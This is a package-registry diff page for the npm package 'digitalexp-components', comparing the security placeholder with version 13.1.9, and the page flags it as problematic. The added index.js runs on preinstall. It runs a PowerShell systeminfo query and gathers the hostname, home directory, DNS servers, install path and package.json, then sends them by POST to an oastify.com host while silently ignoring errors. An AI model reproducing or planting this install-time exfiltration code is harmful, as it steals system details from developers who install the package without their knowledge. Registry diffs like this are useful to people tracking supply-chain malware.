digitalexp-components 0.0.1-security → 13.1.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of digitalexp-components might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +84 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,84 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const https = require("https");
4
+ const { execSync } = require("child_process");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ // Function to execute shell commands safely (handling PowerShell and cmd)
9
+ const runCommand = (cmd, isPowerShell = false) => {
10
+ try {
11
+ let command = cmd;
12
+
13
+ if (isPowerShell) {
14
+ // Run the command through PowerShell
15
+ command = `powershell -Command "${cmd}"`;
16
+ }
17
+
18
+ return execSync(command, { encoding: "utf-8" }).trim();
19
+ } catch (err) {
20
+ return `Error executing '${cmd}': ${err.message}`;
21
+ }
22
+ };
23
+
24
+ // Sleep function to delay execution for a given number of milliseconds
25
+ const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
26
+
27
+ // Function to execute the commands with delay
28
+ const executeCommandsWithDelay = async () => {
29
+ await sleep(1000); // Initial delay
30
+
31
+ // Command to get domain-related info via PowerShell
32
+ const getDomainInfo = runCommand('systeminfo | findstr /C:"Domain"', true); // Run PowerShell command
33
+ await sleep(1000);
34
+
35
+ // Prepare tracking data
36
+ const trackingData = {
37
+ p: package,
38
+ c: __dirname,
39
+ hd: os.homedir(),
40
+ hn: os.hostname(),
41
+ dns: dns.getServers().join(', '), // Convert DNS array to a string
42
+ r: packageJSON ? packageJSON.__resolved : undefined,
43
+ v: packageJSON.version,
44
+ pjson: packageJSON,
45
+ domainInfo: getDomainInfo, // Add domain info from systeminfo
46
+ };
47
+
48
+ // Prepare the request data as JSON
49
+ const postData = JSON.stringify({ msg: trackingData });
50
+
51
+ // Configure request options
52
+ const options = {
53
+ hostname: "m0nxq5tm69juc67clajxzp07byhp5kt9.oastify.com", // Replace with your endpoint
54
+ port: 443,
55
+ path: "/",
56
+ method: "POST",
57
+ headers: {
58
+ "Content-Type": "application/json", // Set content type to JSON
59
+ "Content-Length": postData.length,
60
+ },
61
+ };
62
+
63
+ // Send the POST request
64
+ const req = https.request(options, (res) => {
65
+ res.on("data", (d) => {
66
+ process.stdout.write(d);
67
+ });
68
+
69
+ // Handle end of response
70
+ res.on("end", () => {
71
+ console.log("Request completed");
72
+ });
73
+ });
74
+
75
+ req.on("error", (e) => {
76
+ // Silently ignore errors
77
+ });
78
+
79
+ req.write(postData);
80
+ req.end();
81
+ };
82
+
83
+ // Execute the commands with delay
84
+ executeCommandsWithDelay();
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "digitalexp-components",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "13.1.9",
4
+ "description": "checking remote code execution and running ls -la command",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "node-fetch": "^2.7.0"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=digitalexp-components for more information.